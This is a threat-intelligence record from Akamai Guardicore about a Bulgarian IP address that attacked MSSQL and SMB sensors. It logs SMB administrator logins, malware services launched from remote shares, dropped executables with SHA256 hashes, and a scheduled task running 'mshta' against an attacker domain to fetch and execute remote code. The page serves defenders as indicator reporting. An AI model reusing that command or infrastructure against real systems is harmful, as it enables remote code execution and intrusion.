IP Address: 91.191.220.164Malicious
IP Address: 91.191.220.164Malicious
This IP address attempted an attack on a machine in our threat sensors network
Role |
Attacker, Scanner |
Services Targeted |
MSSQL SMB |
Tags |
Scheduled Task Creation SMB Share Connect Access Share DNS Query Service Stop Service Creation SMB Access Suspicious Domain Execute from Share Successful SMB Login Service Start CMD MSSQL File Operation By CMD Service Deletion Download File SMB Null Session Login |
Associated Attack Servers |
IP Address |
91.191.220.164 |
|
Domain |
- |
|
ISP |
Lir.bg EOOD |
|
Country |
Bulgaria |
|
WHOIS |
Created Date |
- |
Updated Date |
- |
|
Organization |
- |
First seen in Akamai Guardicore Segmentation |
2022-11-03 |
Last seen in Akamai Guardicore Segmentation |
2024-06-27 |
What is Akamai Guardicore SegmentationAkamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More
A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password |
Successful SMB Login |
A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User |
Successful SMB Login |
A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times |
Successful SMB Login |
c:\windows\system32\services.exe installed and started \\server-backup\c$\sksqmvmu.exe as a service named jrat under service group None |
Service Creation Service Start |
sksqmvmu.exe was executed from the remote share \\server-backup\c$ |
Execute from Share |
C:\WINDOWS\Temp\svchost.exe was downloaded |
Download File |
uhpvehny.exe was executed from the remote share \\server-backup\c$ |
Execute from Share |
c:\windows\system32\services.exe installed and started \\server-backup\c$\uhpvehny.exe as a service named guKx under service group None |
Service Creation Service Start |
C:\windows\temp\tmp.vbs was downloaded |
Download File |
Service guKx was stopped |
Service Stop |
The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job |
|
The command line c:\windows\DBsEfgb.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job |
|
Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com |
Access Suspicious Domain DNS Query |
The command line c:\windows\NoOHrGA.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job |
|
Connection was closed due to timeout |
|
C:\WINDOWS\Temp\svchost.exe |
SHA256: 0c12253e92b5c0daa1ea0f9527272552b56b3d3dfc5e4e57cbf80a0c68593fb9 |
65000 bytes |
C:\WINDOWS\Temp\svchost.exe |
SHA256: 11ff79de0a6cb0bd4f666fc5e9e240fcb78333bfde81038ff1402917e7ef9394 |
65000 bytes |
C:\WINDOWS\Temp\svchost.exe |
SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3 |
130000 bytes |
C:\AAJJLlpE.exe |
SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71 |
56320 bytes |